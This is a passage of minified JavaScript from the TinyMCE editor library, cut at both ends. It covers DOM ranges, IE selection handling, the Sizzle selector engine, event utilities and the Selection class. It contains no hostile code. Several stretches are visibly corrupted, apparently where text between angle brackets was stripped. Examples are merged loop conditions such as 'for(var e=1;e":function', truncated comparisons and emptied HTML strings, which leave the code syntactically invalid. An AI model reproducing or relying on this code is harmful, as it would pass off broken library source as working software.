ab}if(N[h].nodeType==3){Y=N[h].nodeValue;X=Y.substring(N[U],N[z]);if(Z!=E){N[h].deleteData(N[U],N[z]-N[U]);N.collapse(D)}if(Z==j){return}ab.appendChild(e.createTextNode(X));return ab}aa=O(N[h],N[U]);t=N[z]-N[U];while(t>0){W=aa.nextSibling;V=y(aa,Z);if(ab){ab.appendChild(V)}--t;aa=W}if(Z!=E){N.collapse(D)}return ab}function r(ab,Y){var aa,Z,V,t,X,W;if(Y!=j){aa=e.createDocumentFragment()}Z=i(ab,Y);if(aa){aa.appendChild(Z)}V=n(ab);t=V-N[U];if(t<=0){if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}Z=ab.previousSibling;while(t>0){X=Z.previousSibling;W=y(Z,Y);if(aa){aa.insertBefore(W,aa.firstChild)}--t;Z=X}if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}function T(Z,Y){var ab,V,aa,t,X,W;if(Y!=j){ab=e.createDocumentFragment()}aa=Q(Z,Y);if(ab){ab.appendChild(aa)}V=n(Z);++V;t=N[z]-V;aa=Z.nextSibling;while(t>0){X=aa.nextSibling;W=y(aa,Y);if(ab){ab.appendChild(W)}--t;aa=X}if(Y!=E){N.setStartAfter(Z);N.collapse(D)}return ab}function o(Z,t,ac){var W,ae,Y,aa,ab,V,ad,X;if(ac!=j){ae=e.createDocumentFragment()}W=Q(Z,ac);if(ae){ae.appendChild(W)}Y=Z.parentNode;aa=n(Z);ab=n(t);++aa;V=ab-aa;ad=Z.nextSibling;while(V>0){X=ad.nextSibling;W=y(ad,ac);if(ae){ae.appendChild(W)}ad=X;--V}W=i(t,ac);if(ae){ae.appendChild(W)}if(ac!=E){N.setStartAfter(Z);N.collapse(D)}return ae}function i(aa,ab){var W=O(N[P],N[z]-1),ac,Z,Y,t,V,X=W!=N[P];if(W==aa){return L(W,X,R,ab)}ac=W.parentNode;Z=L(ac,R,R,ab);while(ac){while(W){Y=W.previousSibling;t=L(W,X,R,ab);if(ab!=j){Z.insertBefore(t,Z.firstChild)}X=D;W=Y}if(ac==aa){return Z}W=ac.previousSibling;ac=ac.parentNode;V=L(ac,R,R,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function Q(aa,ab){var X=O(N[h],N[U]),Y=X!=N[h],ac,Z,W,t,V;if(X==aa){return L(X,Y,D,ab)}ac=X.parentNode;Z=L(ac,R,D,ab);while(ac){while(X){W=X.nextSibling;t=L(X,Y,D,ab);if(ab!=j){Z.appendChild(t)}Y=D;X=W}if(ac==aa){return Z}X=ac.nextSibling;ac=ac.parentNode;V=L(ac,R,D,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function L(t,Y,ab,ac){var X,W,Z,V,aa;if(Y){return y(t,ac)}if(t.nodeType==3){X=t.nodeValue;if(ab){V=N[U];W=X.substring(V);Z=X.substring(0,V)}else{V=N[z];W=X.substring(0,V);Z=X.substring(V)}if(ac!=E){t.nodeValue=Z}if(ac==j){return}aa=t.cloneNode(R);aa.nodeValue=W;return aa}if(ac==j){return}return t.cloneNode(R)}function y(V,t){if(t!=j){return t==E?V.cloneNode(D):V}V.parentNode.removeChild(V)}}a.Range=b})(tinymce.dom);(function(){function a(d){var b=this,h=d.dom,c=true,f=false;function e(i,j){var k,t=0,q,n,m,l,o,r,p=-1,s;k=i.duplicate();k.collapse(j);s=k.parentElement();if(s.ownerDocument!==d.dom.doc){return}while(s.contentEditable==="false"){s=s.parentNode}if(!s.hasChildNodes()){return{node:s,inside:1}}m=s.children;q=m.length-1;while(t<=q){r=Math.floor((t+q)/2);l=m[r];k.moveToElementText(l);p=k.compareEndPoints(j?"StartToStart":"EndToEnd",i);if(p>0){q=r-1}else{if(p<0){t=r+1}else{return{node:l}}}}if(p<0){if(!l){k.moveToElementText(s);k.collapse(true);l=s;n=true}else{k.collapse(false)}k.setEndPoint(j?"EndToStart":"EndToEnd",i);if(k.compareEndPoints(j?"StartToStart":"StartToEnd",i)>0){k=i.duplicate();k.collapse(j);o=-1;while(s==k.parentElement()){if(k.move("character",-1)==0){break}o++}}o=o||k.text.replace("\r\n"," ").length}else{k.collapse(true);k.setEndPoint(j?"StartToStart":"StartToEnd",i);o=k.text.replace("\r\n"," ").length}return{node:l,position:p,offset:o,inside:n}}function g(){var i=d.getRng(),r=h.createRng(),l,k,p,q,m,j;l=i.item?i.item(0):i.parentElement();if(l.ownerDocument!=h.doc){return r}k=d.isCollapsed();if(i.item){r.setStart(l.parentNode,h.nodeIndex(l));r.setEnd(r.startContainer,r.startOffset+1);return r}function o(A){var u=e(i,A),s,y,z=0,x,v,t;s=u.node;y=u.offset;if(u.inside&&!s.hasChildNodes()){r[A?"setStart":"setEnd"](s,0);return}if(y===v){r[A?"setStartBefore":"setEndAfter"](s);return}if(u.position<0){x=u.inside?s.firstChild:s.nextSibling;if(!x){r[A?"setStartAfter":"setEndAfter"](s);return}if(!y){if(x.nodeType==3){r[A?"setStart":"setEnd"](x,0)}else{r[A?"setStartBefore":"setEndBefore"](x)}return}while(x){t=x.nodeValue;z+=t.length;if(z>=y){s=x;z-=y;z=t.length-z;break}x=x.nextSibling}}else{x=s.previousSibling;if(!x){return r[A?"setStartBefore":"setEndBefore"](s)}if(!y){if(s.nodeType==3){r[A?"setStart":"setEnd"](x,s.nodeValue.length)}else{r[A?"setStartAfter":"setEndAfter"](x)}return}while(x){z+=x.nodeValue.length;if(z>=y){s=x;z-=y;break}x=x.previousSibling}}r[A?"setStart":"setEnd"](s,z)}try{o(true);if(!k){o()}}catch(n){if(n.number==-2147024809){m=b.getBookmark(2);p=i.duplicate();p.collapse(true);l=p.parentElement();if(!k){p=i.duplicate();p.collapse(false);q=p.parentElement();q.innerHTML=q.innerHTML}l.innerHTML=l.innerHTML;b.moveToBookmark(m);i=d.getRng();o(true);if(!k){o()}}else{throw n}}return r}this.getBookmark=function(m){var j=d.getRng(),o,i,l={};function n(u){var u,t,p,s,r,q=[];t=u.parentNode;p=h.getRoot().parentNode;while(t!=p&&t.nodeType!==9){s=t.children;r=s.length;while(r--){if(u===s[r]){q.push(r);break}}u=t;t=t.parentNode}return q}function k(q){var p;p=e(j,q);if(p){return{position:p.position,offset:p.offset,indexes:n(p.node),inside:p.inside}}}if(m===2){if(!j.item){l.start=k(true);if(!d.isCollapsed()){l.end=k()}}else{l.start={ctrl:true,indexes:n(j.item(0))}}}return l};this.moveToBookmark=function(k){var j,i=h.doc.body;function m(o){var r,q,n,p;r=h.getRoot();for(q=o.length-1;q>=0;q--){p=r.children;n=o[q];if(n<=p.length-1){r=p[n]}}return r}function l(r){var n=k[r?"start":"end"],q,p,o;if(n){q=n.position>0;p=i.createTextRange();p.moveToElementText(m(n.indexes));offset=n.offset;if(offset!==o){p.collapse(n.inside||q);p.moveStart("character",q?-offset:offset)}else{p.collapse(r)}j.setEndPoint(r?"StartToStart":"EndToStart",p);if(r){j.collapse(true)}}}if(k.start){if(k.start.ctrl){j=i.createControlRange();j.addElement(m(k.start.indexes));j.select()}else{j=i.createTextRange();l(true);l();j.select()}}};this.addRange=function(i){var n,l,k,p,s,q,r=d.dom.doc,m=r.body;function j(z){var u,y,t,x,v;t=h.create("a");u=z?k:s;y=z?p:q;x=n.duplicate();if(u==r||u==r.documentElement){u=m;y=0}if(u.nodeType==3){u.parentNode.insertBefore(t,u);x.moveToElementText(t);x.moveStart("character",y);h.remove(t);n.setEndPoint(z?"StartToStart":"EndToEnd",x)}else{v=u.childNodes;if(v.length){if(y>=v.length){h.insertAfter(t,v[v.length-1])}else{u.insertBefore(t,v[y])}x.moveToElementText(t)}else{t=r.createTextNode("\uFEFF");u.appendChild(t);x.moveToElementText(t.parentNode);x.collapse(c)}n.setEndPoint(z?"StartToStart":"EndToEnd",x);h.remove(t)}}k=i.startContainer;p=i.startOffset;s=i.endContainer;q=i.endOffset;n=m.createTextRange();if(k==s&&k.nodeType==1&&p==q-1){if(p==q-1){try{l=m.createControlRange();l.addElement(k.childNodes[p]);l.select();return}catch(o){}}}j(true);j();n.select()};this.getRangeAt=g}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,j=0,d=Object.prototype.toString,o=false,i=true;[0,0].sort(function(){i=false;return 0});var b=function(v,e,z,A){z=z||[];e=e||document;var C=e;if(e.nodeType!==1&&e.nodeType!==9){return[]}if(!v||typeof v!=="string"){return z}var x=[],s,E,H,r,u=true,t=b.isXML(e),B=v,D,G,F,y;do{p.exec("");s=p.exec(B);if(s){B=s[3];x.push(s[1]);if(s[2]){r=s[3];break}}}while(s);if(x.length>1&&k.exec(v)){if(x.length===2&&f.relative[x[0]]){E=h(x[0]+x[1],e)}else{E=f.relative[x[0]]?[e]:b(x.shift(),e);while(x.length){v=x.shift();if(f.relative[v]){v+=x.shift()}E=h(v,E)}}}else{if(!A&&x.length>1&&e.nodeType===9&&!t&&f.match.ID.test(x[0])&&!f.match.ID.test(x[x.length-1])){D=b.find(x.shift(),e,t);e=D.expr?b.filter(D.expr,D.set)[0]:D.set[0]}if(e){D=A?{expr:x.pop(),set:a(A)}:b.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&e.parentNode?e.parentNode:e,t);E=D.expr?b.filter(D.expr,D.set):D.set;if(x.length>0){H=a(E)}else{u=false}while(x.length){G=x.pop();F=G;if(!f.relative[G]){G=""}else{F=x.pop()}if(F==null){F=e}f.relative[G](H,F,t)}}else{H=x=[]}}if(!H){H=E}if(!H){b.error(G||v)}if(d.call(H)==="[object Array]"){if(!u){z.push.apply(z,H)}else{if(e&&e.nodeType===1){for(y=0;H[y]!=null;y++){if(H[y]&&(H[y]===true||H[y].nodeType===1&&b.contains(e,H[y]))){z.push(E[y])}}}else{for(y=0;H[y]!=null;y++){if(H[y]&&H[y].nodeType===1){z.push(E[y])}}}}}else{a(H,z)}if(r){b(r,C,z,A);b.uniqueSort(z)}return z};b.uniqueSort=function(r){if(c){o=i;r.sort(c);if(o){for(var e=1;e":function(x,r){var u=typeof r==="string",v,s=0,e=x.length;if(u&&!/\W/.test(r)){r=r.toLowerCase();for(;s=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){return r[1].toLowerCase()},CHILD:function(e){if(e[1]==="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=j++;return e},ATTR:function(u,r,s,e,v,x){var t=u[1].replace(/\\/g,"");if(!x&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if((p.exec(u[3])||"").length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return(/h\d/i).test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toLowerCase()==="button"},input:function(e){return(/input|select|textarea|button/i).test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return re[3]-0},nth:function(s,r,e){return e[3]-0===r},eq:function(s,r,e){return e[3]-0===r}},filter:{PSEUDO:function(s,y,x,z){var e=y[1],r=f.filters[e];if(r){return r(s,x,y,z)}else{if(e==="contains"){return(s.textContent||s.innerText||b.getText([s])||"").indexOf(y[3])>=0}else{if(e==="not"){var t=y[3];for(var v=0,u=t.length;v=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName.toLowerCase()===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),x=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?x===r:u==="*="?x.indexOf(r)>=0:u==="~="?(" "+x+" ").indexOf(r)>=0:!r?x&&e!==false:u==="!="?x!==r:u==="^="?x.indexOf(r)===0:u==="$="?x.substr(x.length-r.length)===r:u==="|="?x===r||x.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var k=f.match.POS,g=function(r,e){return"\\"+(e-0+1)};for(var m in f.match){f.match[m]=new RegExp(f.match[m].source+(/(?![^\[]*\])(?![^\(]*\))/.source));f.leftMatch[m]=new RegExp(/(^(?:.|\r|\n)*?)/.source+f.match[m].source.replace(/\\(\d+)/g,g))}var a=function(r,e){r=Array.prototype.slice.call(r,0);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes,0)[0].nodeType}catch(l){a=function(u,t){var r=t||[],s=0;if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var e=u.length;s";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(document.getElementById(s)){f.find.ID=function(u,v,x){if(typeof v.getElementById!=="undefined"&&!x){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r);e=r=null})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}e=null})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="

    ";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(x,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!b.isXML(v)){try{return a(v.querySelectorAll(x),t)}catch(y){}}return e(x,v,t,u)};for(var r in e){b[r]=e[r]}s=null})()}(function(){var e=document.createElement("div");e.innerHTML="
    ";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}};e=null})();function n(r,x,v,A,y,z){for(var t=0,s=A.length;t0){u=e;break}}}e=e[r]}A[t]=u}}}b.contains=document.compareDocumentPosition?function(r,e){return !!(r.compareDocumentPosition(e)&16)}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};b.isXML=function(e){var r=(e?e.ownerDocument||e:0).documentElement;return r?r.nodeName!=="HTML":false};var h=function(e,y){var t=[],u="",v,s=y.nodeType?[y]:y;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var x=0,r=s.length;x=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.readyState==="complete"){g._pageInit(i);return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})},_stoppers:{preventDefault:function(){this.returnValue=false},stopPropagation:function(){this.cancelBubble=true}}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){a.dom.Element=function(f,d){var b=this,e,c;b.settings=d=d||{};b.id=f;b.dom=e=d.dom||a.DOM;if(!a.isIE){c=e.get(b.id)}a.each(("getPos,getRect,getParent,add,setStyle,getStyle,setStyles,setAttrib,setAttribs,getAttrib,addClass,removeClass,hasClass,getOuterHTML,setOuterHTML,remove,show,hide,isHidden,setHTML,get").split(/,/),function(g){b[g]=function(){var h=[f],j;for(j=0;j"+(h.item?h.item(0).outerHTML:h.htmlText);l.removeChild(l.firstChild)}else{l.innerHTML=h.toString()}}if(/^\s/.test(l.innerHTML)){i=" "}if(/\s+$/.test(l.innerHTML)){k=" "}g.getInner=true;g.content=f.isCollapsed()?"":i+f.serializer.serialize(l,g)+k;f.onGetContent.dispatch(f,g);return g.content},setContent:function(g,i){var n=this,f=n.getRng(),j,k=n.win.document,m,l;i=i||{format:"html"};i.set=true;g=i.content=g;if(!i.no_events){n.onBeforeSetContent.dispatch(n,i)}g=i.content;if(f.insertNode){g+='_';if(f.startContainer==k&&f.endContainer==k){k.body.innerHTML=g}else{f.deleteContents();if(k.body.childNodes.length==0){k.body.innerHTML=g}else{if(f.createContextualFragment){f.insertNode(f.createContextualFragment(g))}else{m=k.createDocumentFragment();l=k.createElement("div");m.appendChild(l);l.outerHTML=g;f.insertNode(m)}}}j=n.dom.get("__caret");f=k.createRange();f.setStartBefore(j);f.setEndBefore(j);n.setRng(f);n.dom.remove("__caret");try{n.setRng(f)}catch(h){}}else{if(f.item){k.execCommand("Delete",false,null);f=n.getRng()}if(/^\s+/.test(g)){f.pasteHTML('_'+g);n.dom.remove("__mce_tmp")}else{f.pasteHTML(g)}}if(!i.no_events){n.onSetContent.dispatch(n,i)}},getStart:function(){var g=this.getRng(),h,f,j,i;if(g.duplicate||g.item){if(g.item){return g.item(0)}j=g.duplicate();j.collapse(1);h=j.parentElement();f=i=g.parentElement();while(i=i.parentNode){if(i==h){h=f;break}}return h}else{h=g.startContainer;if(h.nodeType==1&&h.hasChildNodes()){h=h.childNodes[Math.min(h.childNodes.length-1,g.startOffset)]}if(h&&h.nodeType==3){return h.parentNode}return h}},getEnd:function(){var g=this,h=g.getRng(),i,f;if(h.duplicate||h.item){if(h.item){return h.item(0)}h=h.duplicate();h.collapse(0);i=h.parentElement();if(i&&i.nodeName=="BODY"){return i.lastChild||i}return i}else{i=h.endContainer;f=h.endOffset;if(i.nodeType==1&&i.hasChildNodes()){i=i.childNodes[f>0?f-1:f]}if(i&&i.nodeType==3){return i.parentNode}return i}},getBookmark:function(r,s){var v=this,m=v.dom,g,j,i,n,h,o,p,l="\uFEFF",u;function f(x,y){var t=0;d(m.select(x),function(A,z){if(A==y){t=z}});return t}if(r==2){function k(){var x=v.getRng(true),t=m.getRoot(),y={};function z(C,H){var B=C[H?"startContainer":"endContainer"],G=C[H?"startOffset":"endOffset"],A=[],D,F,E=0;if(B.nodeType==3){if(s){for(D=B.previousSibling;D&&D.nodeType==3;D=D.previousSibling){G+=D.nodeValue.length}}A.push(G)}else{F=B.childNodes;if(G>=F.length&&F.length){E=1;G=Math.max(0,F.length-1)}A.push(v.dom.nodeIndex(F[G],s)+E)}for(;B&&B!=t;B=B.parentNode){A.push(v.dom.nodeIndex(B,s))}return A}y.start=z(x,true);if(!v.isCollapsed()){y.end=z(x)}return y}if(v.tridentSel){return v.tridentSel.getBookmark(r)}return k()}if(r){return{rng:v.getRng()}}g=v.getRng();i=m.uniqueId();n=tinyMCE.activeEditor.selection.isCollapsed();u="overflow:hidden;line-height:0px";if(g.duplicate||g.item){if(!g.item){j=g.duplicate();try{g.collapse();g.pasteHTML(''+l+"");if(!n){j.collapse(false);g.moveToElementText(j.parentElement());if(g.compareEndPoints("StartToEnd",j)==0){j.move("character",-1)}j.pasteHTML(''+l+"")}}catch(q){return null}}else{o=g.item(0);h=o.nodeName;return{name:h,index:f(h,o)}}}else{o=v.getNode();h=o.nodeName;if(h=="IMG"){return{name:h,index:f(h,o)}}j=g.cloneRange();if(!n){j.collapse(false);j.insertNode(m.create("span",{"data-mce-type":"bookmark",id:i+"_end",style:u},l))}g.collapse(true);g.insertNode(m.create("span",{"data-mce-type":"bookmark",id:i+"_start",style:u},l))}v.moveToBookmark({id:i,keep:1});return{id:i}},moveToBookmark:function(n){var r=this,l=r.dom,i,h,f,q,j,s,o,p;if(n){if(n.start){f=l.createRng();q=l.getRoot();function g(z){var t=n[z?"start":"end"],v,x,y,u;if(t){y=t[0];for(x=q,v=t.length-1;v>=1;v--){u=x.childNodes;if(t[v]>u.length-1){return}x=u[t[v]]}if(x.nodeType===3){y=Math.min(t[0],x.nodeValue.length)}if(x.nodeType===1){y=Math.min(t[0],x.childNodes.length)}if(z){f.setStart(x,y)}else{f.setEnd(x,y)}}return true}if(r.tridentSel){return r.tridentSel.moveToBookmark(n)}if(g(true)&&g()){r.setRng(f)}}else{if(n.id){function k(A){var u=l.get(n.id+"_"+A),z,t,x,y,v=n.keep;if(u){z=u.parentNode;if(A=="start"){if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}j=s=z;o=p=t}else{if(!v){t=l.nodeIndex(u)}else{z=u.firstChild;t=1}s=z;p=t}if(!v){y=u.previousSibling;x=u.nextSibling;d(c.grep(u.childNodes),function(B){if(B.nodeType==3){B.nodeValue=B.nodeValue.replace(/\uFEFF/g,"")}});while(u=l.get(n.id+"_"+A)){l.remove(u,1)}if(y&&x&&y.nodeType==x.nodeType&&y.nodeType==3&&!c.isOpera){t=y.nodeValue.length;y.appendData(x.nodeValue);l.remove(x);if(A=="start"){j=s=y;o=p=t}else{s=y;p=t}}}}}function m(t){if(l.isBlock(t)&&!t.innerHTML){t.innerHTML=!a?'
    ':" "}return t}k("start");k("end");if(j){f=l.createRng();f.setStart(m(j),o);f.setEnd(m(s),p);r.setRng(f)}}else{if(n.name){r.select(l.select(n.name)[n.index])}else{if(n.rng){r.setRng(n.rng)}}}}}},select:function(k,j){var i=this,l=i.dom,g=l.createRng(),f;if(k){f=l.nodeIndex(k);g.setStart(k.parentNode,f);g.setEnd(k.parentNode,f+1);if(j){function h(m,o){var n=new c.dom.TreeWalker(m,m);do{if(m.nodeType==3&&c.trim(m.nodeValue).length!=0){if(o){g.setStart(m,0)}else{g.setEnd(m,m.nodeValue.length)}return}if(m.nodeName=="BR"){if(o){g.setStartBefore(m)}else{g.setEndBefore(m)}return}}while(m=(o?n.next():n.prev()))}h(k,1);h(k)}i.setRng(g)}return k},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}if(h.compareEndPoints){return h.compareEndPoints("StartToEnd",h)===0}return !g||h.collapsed},collapse:function(f){var h=this,g=h.getRng(),i;if(g.item){i=g.item(0);g=h.win.document.body.createTextRange();g.moveToElementText(i)}g.collapse(!!f);h.setRng(g)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(l){var g=this,h,i,k,j=g.win.document;if(l&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():j.createRange())}}catch(f){}if(c.isIE&&i&&i.setStart&&j.selection.createRange().item){k=j.selection.createRange().item(0);i=j.createRange();i.setStartBefore(k);i.setEndAfter(k)}if(!i){i=j.createRange?j.createRange():j.body.createTextRange()}if(g.selectedRange&&g.explicitRange){if(i.compareBoundaryPoints(i.START_TO_START,g.selectedRange)===0&&i.compareBoundaryPoints(i.END_TO_END,g.selectedRange)===0){i=g.explicitRange}else{g.selectedRange=null;g.explicitRange=null}}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){g.explicitRange=i;try{h.removeAllRanges()}catch(f){}h.addRange(i);g.selectedRange=h.rangeCount>0?h.getRangeAt(0):null}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var h=this,g=h.getRng(),i=h.getSel(),l,k=g.startContainer,f=g.endContainer;if(!g){return h.dom.getRoot()}if(g.setStart){l=g.commonAncestorContainer;if(!g.collapsed){if(g.startContainer==g.endContainer){if(g.endOffset-g.startOffset<2){if(g.startContainer.hasChildNodes()){l=g.startContainer.childNodes[g.startOffset]}}}if(k.nodeType===3&&f.nodeType===3){function j(p,m){var o=p;while(p&&p.nodeType===3&&p.length===0){p=m?p.nextSibling:p.previousSibling}return p||o}if(k.length===g.startOffset){k=j(k.nextSibling,true)}else{k=k.parentNode}if(g.endOffset===0){f=j(f.previousSibling,false)}else{f=f.parentNode}if(k&&k===f){return k}}}if(l&&l.nodeType==3){return l.parentNode}return l}return g.item?g.item(0):g.parentElement()},getSelectedBlocks:function(o,g){var m=this,j=m.dom,l,k,h,i=[];l=j.getParent(o||m.getStart(),j.isBlock);k=j.getParent(g||m.getEnd(),j.isBlock);if(l){i.push(l)}if(l&&k&&l!=k){h=l;var f=new c.dom.TreeWalker(l,j.getRoot());while((h=f.next())&&h!=k){if(j.isBlock(h)){i.push(h)}}}if(k&&l!=k){i.push(k)}return i},normalize:function(){var g=this,f,i;if(c.isIE){return}function h(p){var k,o,n,m=g.dom,j=m.getRoot(),l;k=f[(p?"start":"end")+"Container"];o=f[(p?"start":"end")+"Offset"];if(k.nodeType===9){k=k.body;o=0}if(k===j){if(k.hasChildNodes()){k=k.childNodes[Math.min(!p&&o>0?o-1:o,k.childNodes.length-1)];o=0;if(k.hasChildNodes()){l=k;n=new c.dom.TreeWalker(k,j);do{if(l.nodeType===3){o=p?0:l.nodeValue.length-1;k=l;i=true;break}if(/^(BR|IMG)$/.test(l.nodeName)){o=m.nodeIndex(l);k=l.parentNode;if(l.nodeName=="IMG"&&!p){o++}i=true;break}}while(l=(p?n.next():n.prev()))}}}if(i){f["set"+(p?"Start":"End")](k,o)}}f=g.getRng();h(true);if(!f.collapsed){h()}if(i){g.setRng(f)}},destroy:function(g){var f=this;f.win=null;if(!g){c.removeUnload(f.destroy)}},_fixIESelection:function(){var g=this.dom,m=g.doc,h=m.body,j,n,f;m.documentElement.unselectable=true;function i(o,r){var p=h.createTextRange();try{p.moveToPoint(o,r)}catch(q){p=null}return p}function l(p){var o;if(p.button){o=i(p.x,p.y);if(o){if(o.compareEndPoints("StartToStart",n)>0){o.setEndPoint("StartToStart",n)}else{o.setEndPoint("EndToEnd",n)}o.select()}}else{k()}}function k(){var o=m.selection.createRange();if(n&&!o.item&&o.compareEndPoints("StartToEnd",o)===0){n.select()}g.unbind(m,"mouseup",k);g.unbind(m,"mousemove",l);n=j=0}g.bind(m,["mousedown","contextmenu"],function(o){if(o.target.nodeName==="HTML"){if(j){k()}f=m.documentElement;if(f.scrollHeight>f.clientHeight){return}j=1;n=i(o.x,o.y);if(n){g.bind(m,"mouseup",k);g.bind(m,"mousemove",l);g.win.focus();n.select()}}})}})})(tinymce);(function(a){a.dom.Serializer=function(e,i,f){var h,b,d=a.isIE,g=a.each,c;if(!e.apply_source_formatting){e.indent=false}i=i||a.DOM;f=f||new a.html.Schema(e);e.entity_encoding=e.entity_encoding||"named";e.remove_trailing_brs="remove_trailing_brs" in e?e.remove_trailing_brs:true;h=new a.util.Dispatcher(self);b=new a.util.Dispatcher(self);c=new a.html.DomParser(e,f);c.addAttributeFilter("src,href,style",function(k,j){var 